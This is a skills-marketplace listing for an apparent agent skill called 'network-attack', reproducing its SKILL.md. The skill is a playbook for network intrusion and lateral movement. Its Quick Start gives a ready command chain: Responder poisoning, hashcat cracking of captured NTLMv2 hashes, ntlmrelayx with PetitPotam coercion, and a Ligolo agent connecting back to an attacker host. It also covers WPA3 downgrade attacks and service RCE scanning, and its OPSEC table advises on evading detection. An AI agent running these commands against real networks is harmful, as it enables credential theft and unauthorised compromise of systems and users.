agentsclimarketplace

Network attack

Skill hypnguyen1209/offensive-claude/skills/network-attack

Use when attacking a network or moving laterally — L2/L3 poisoning (LLMNR/mDNS, ARP/DHCP, mitm6), coercion + NTLM relay (CVE-2025-33073), TUN pivoting (Ligolo-ng/Chisel), MitM, network-service RCE (CVE-2024-38077), WPA2/WPA3 wirelessFrom its SKILL.md

Install
npx -y skills add hypnguyen1209/offensive-claude --skill network-attack

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • runs commandsInstructs the agent to run 8 commands, including `responder -I eth0 -A` and 7 more.

SKILL.md

10.0 KB, ~2.7k tokens by cl100k_base, as published. Nobody here has run it

Network Attack & Lateral Movement

When to Activate

  • Internal network pentest from an unauthenticated wire position or initial foothold
  • Layer-2/3 poisoning to capture credentials (LLMNR/NBT-NS/mDNS, ARP/DHCP, IPv6 mitm6)
  • Coercion + NTLM relay from the network (signing/EPA mapping, CVE-2025-33073 reflection)
  • Pivoting / tunneling across segments (Ligolo-ng, Chisel, SSH, DNS tunneling)
  • Traffic interception / MitM (bettercap, RDP/SSH/STARTTLS downgrade, cookie theft)
  • Network-service exploitation (SMB/RDP/RDL/NEGOEX RCE, MSSQL/WinRM/LDAP abuse)
  • Wireless assessment (WPA2 capture/crack, WPA3-Transition downgrade, evil-twin 802.1X)
  • For AD-specific relay targets (LDAP RBCD/shadow-creds, ADCS ESC8, Kerberos relay) and ticket/DCSync work, hand off to active-directory-attack.

Technique Map

TechniqueATT&CKCWEReferenceScript
LLMNR/NBT-NS/mDNS poisoning (Responder)T1557.001CWE-300references/l2-attacks.mdscripts/responder_loot_parser.py
ARP spoofing MitMT1557.002CWE-300references/l2-attacks.mdscripts/bettercap_mitm.sh
DHCP starvation / rogue DHCPT1557.003CWE-300references/l2-attacks.md-
IPv6 takeover (mitm6 DHCPv6/DNS → relay)T1557.001CWE-300references/l2-attacks.mdscripts/mitm6_relay_launcher.sh
STP root hijack / VLAN hopping (DTP, 802.1Q)T1599CWE-284references/l2-attacks.mdscripts/vlan_hop.py
Coercion (PetitPotam/PrinterBug/DFSCoerce/WebDAV)T1187CWE-294references/coercion-relay-network.mdscripts/relay_target_finder.py
NTLM relay (SMB/MSSQL/WinRM)T1557.001CWE-294references/coercion-relay-network.mdscripts/relay_target_finder.py
NTLM reflection → SYSTEM (CVE-2025-33073)T1187, T1557.001CWE-287references/coercion-relay-network.mdscripts/relay_target_finder.py
TUN pivoting (Ligolo-ng autoroute/multiplayer)T1090.001CWE-923references/pivoting-tunneling.mdscripts/pivot_autoroute.sh
HTTP-SOCKS tunnel (Chisel) / SSH pivotT1090.001, T1572CWE-923references/pivoting-tunneling.mdscripts/pivot_autoroute.sh
DNS tunneling (iodine/dnscat2)T1071.004, T1572CWE-923references/pivoting-tunneling.md-
Traffic interception / sslstrip / DNS spoofT1557, T1040CWE-319references/mitm-interception.mdscripts/bettercap_mitm.sh
RDP/SSH/STARTTLS MitM & downgradeT1557, T1185CWE-300references/mitm-interception.mdscripts/bettercap_mitm.sh
MadLicense RDL RCE (CVE-2024-38077)T1210CWE-122references/protocol-rce.mdscripts/net_service_scan.py
NEGOEX wormable RCE (CVE-2025-47981)T1210CWE-122references/protocol-rce.mdscripts/net_service_scan.py
RMCAST RCE (CVE-2025-21307) / RDS (CVE-2025-24035/45)T1210CWE-787references/protocol-rce.mdscripts/net_service_scan.py
SMB EternalBlue (MS17-010) legacyT1210CWE-119references/protocol-rce.mdscripts/net_service_scan.py
MSSQL xp_cmdshell / link crawl, WinRM, LDAP passbackT1210, T1021.006CWE-89references/protocol-rce.mdscripts/net_service_scan.py
WPA2 handshake/PMKID crackT1110CWE-326references/wireless-attacks.mdscripts/wifi_attack.sh
WPA3-Transition downgrade (Dragonblood)T1557CWE-757references/wireless-attacks.mdscripts/wifi_attack.sh
Evil-twin WPA-Enterprise (802.1X) cred captureT1556CWE-295references/wireless-attacks.mdscripts/wifi_attack.sh

Quick Start

# 1. OWN THE SEGMENT — passive analyze, then poison + collect hashes
responder -I eth0 -A                                   # analyze (silent) first
responder -I eth0 -wd                                  # poison LLMNR/NBT-NS/mDNS+WPAD
python3 scripts/responder_loot_parser.py --logs /usr/share/responder/logs --outdir loot
hashcat -m 5600 loot/hashes_NTLMv2.txt rockyou.txt -r best64.rule

# 2. IPv6 path (often the fastest DA): mitm6 + relay to LDAPS -> RBCD
sudo bash scripts/mitm6_relay_launcher.sh corp.local eth0 ldaps-rbcd dc01.corp.local

# 3. MAP RELAY SURFACE, then coerce + relay (CVE-2025-33073 reflection candidates)
python3 scripts/relay_target_finder.py 10.0.0.0/24 -o relay_targets.txt --json surface.json
impacket-ntlmrelayx -tf relay_targets.txt -smb2support -socks &
python3 PetitPotam.py -d corp.local -u user -p 'Pass' <RELAY_IP> <TARGET>

# 4. SCOPE SERVICE RCE SURFACE (MadLicense/NEGOEX/RDS/SMB)
python3 scripts/net_service_scan.py 10.0.0.0/24 --json services.json

# 5. PIVOT deeper (TUN, no proxychains)
bash scripts/pivot_autoroute.sh ligolo 0.0.0.0 11601
#   agent on target: ./agent -connect <ATTACKER>:11601 -ignore-cert -retry ; then 'autoroute'

# 6. WIRELESS entry (note PSK+SAE+MFP-off = WPA3 downgrade-vulnerable)
sudo bash scripts/wifi_attack.sh mon-up wlan0 && sudo bash scripts/wifi_attack.sh scan wlan0mon
sudo bash scripts/wifi_attack.sh wpa3dg wlan0 wlan1mon "CorpWiFi" 6

OPSEC & Detection (summary)

TechniqueTelemetry / IOCDetection (Sigma / EDR)OPSEC note
LLMNR/NBT-NS/mDNS poisonone host answers many names; 4624/4625 type-3 burst to a workstationSigma name-resolution-poisoning; disable LLMNR/NBT-NS via GPO-A is silent; full mode answers everything — scope tight
mitm6 IPv6 takeoverrogue DHCPv6 (UDP 547); endpoint IPv6 DNS change; 4741 computer addZeek rogue-DHCPv6 rule; RA-Guard/DHCPv6-Guardvery loud (whole VLAN); set MachineAccountQuota=0; delete created acct/RBCD
ARP/DNS spoof MitMdup-MAC, gateway MAC change, rogue DNS answersDAI, arpwatch, DNS-source allowlisthalf-duplex cuts ARP volume; restore tables on exit; HSTS breaks sslstrip
Coercion + relayEFSR/RPRN/DFSNM RPC; SMB→service from odd hostRPC Filter logs; signing:False target enumerationcoercion is "by-design"; needs signing/EPA off; SMB signing kills it
NTLM reflection (CVE-2025-33073)4624/4648 NTLM logon to self; new AD DNS A record + coercionSigma self-NTLM-logon; marshalled-DNS detect (Jun-2025 patch)needs signing:False; delete crafted DNS record; patch+signing both fix
Ligolo/Chisel/SSH pivotlong-lived single TLS to ext IP; reverse listeners on pivotNDR JA3/JA4 on Go TLS; beacon/-retry; binary on diskrun proxy on 443 to blend; rename agent; no admin needed on target
DNS tunnelinghigh-volume long random subdomains; high TXT/NULL ratioNDR DNS-tunnel entropy/length analyticsthrottle/jitter; A/CNAME over TXT; exfil small data only
Service RCE (MadLicense/NEGOEX/EternalBlue)service crash/restart (SCM 7031); scanner fan-out 445/3389/1688crash telemetry; patch level; NSE smb-vulnmemory-corruption = DoS risk; never spray wormable; lab-validate, sign-off
WPA2/PMKID capturedeauth mgmt flood (handshake); PMKID passiveWIDS deauth alerts; 802.11w/MFP blocks deauthprefer passive PMKID; short targeted deauth bursts
WPA3-Transition downgrade2nd BSSID for SSID; PSK+SAE+MFP-off advertisedWIPS rogue-AP; Transition-Disable bitrogue AP beacons continuously — minimize on-air; WPA3-only+MFP defeats
Evil-twin 802.1Xrogue BSSID; RADIUS server-cert mismatchWIPS; client server-cert validationrelies on supplicants not validating cert; EAP-TLS defeats

Deep Dives

  • references/l2-attacks.md — LLMNR/NBT-NS/mDNS poisoning (Responder, WebDAV pivot, NTLMv1 downgrade), ARP/DHCP spoofing, IPv6 takeover (mitm6 + ntlmrelayx, 2025 resurgence), STP root hijack & VLAN hopping (DTP, 802.1Q double-tag).
  • references/coercion-relay-network.md — Relay-surface mapping (SMB signing/EPA, RelayKing), coercion (PetitPotam/PrinterBug/DFSCoerce/WebDAV + RPC Filter), NTLM relay to SMB/MSSQL/WinRM, CVE-2025-33073 NTLM reflection → SYSTEM. Hands AD targets to active-directory-attack.
  • references/pivoting-tunneling.md — Ligolo-ng (TUN/gVisor, autoroute, v0.8 multiplayer, double-pivot, ligolo-mp), Chisel HTTP-SOCKS, SSH -D/-J, DNS tunneling (iodine/dnscat2), proxychains chaining, tool-selection matrix.
  • references/mitm-interception.md — bettercap inline MitM, sslstrip (HSTS limits), DNS spoof, RDP MitM (PyRDP/Seth, NLA), STARTTLS stripping, SSH TOFU MitM, cookie/session theft.
  • references/protocol-rce.md — CVE-2024-38077 MadLicense (RDL), CVE-2025-47981 NEGOEX (wormable), CVE-2025-21307 RMCAST, CVE-2025-24035/45 RDS, MS17-010 EternalBlue, MSSQL xp_cmdshell/link crawl, WinRM, LDAP passback.
  • references/wireless-attacks.md — WPA2 handshake/PMKID crack, WPA3-Transition downgrade (Dragonblood; DragonShift/eaphammer, 2024-2025 reproductions), evil-twin WPA-Enterprise MSCHAPv2 capture, hashcat workflows.

What ships with it: 14 files

74.6 KB alongside SKILL.md, 8 of them executable

Gives 0 of the 12 instructions most security skills give in ~2.7k tokens

Counted across 666 of the 889 authors here whose files we hold, read 2026-09-06

  • Use parameterized queries for database accessin 82 of 666, across 79 files
  • Hash passwords with BCryptin 55 of 666, across 39 files
  • Implement rate limiting for public endpointsin 48 of 666, across 34 files
  • Use environment variables for secretsin 35 of 666
  • Scan dependencies for vulnerabilitiesin 35 of 666, across 24 files
  • Validate and sanitize all user inputin 35 of 666, across 32 files
  • Add security headers to all responsesin 34 of 666, across 20 files
  • Validate all external input at the system boundaryin 26 of 666, across 25 files
  • Use parameterized queries to prevent SQL injectionin 25 of 666, across 13 files
  • Store secrets in Vault or environment variablesin 25 of 666, across 10 files
  • Run containers as a non-root userin 21 of 666, across 18 files
  • Validate all input using Bean Validationin 19 of 666, across 5 files

Said here and by no other author read

  • analyze network traffic passively before poisoning
  • poison LLMNR NBT-NS and mDNS for credential capture
  • use mitm6 for IPv6 takeover and relay
  • map relay surface before performing coercion
  • perform NTLM relay to SMB MSSQL or WinRM
  • scan network for service RCE vulnerabilities

Grouped from the skills themselves: near-identical wordings counted once, and counted by distinct author, so one author publishing three of these counts once. Length counted with cl100k_base; the agent that loads this file may tokenize it differently.

Keep looking

Skills are one crate of 325,949. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.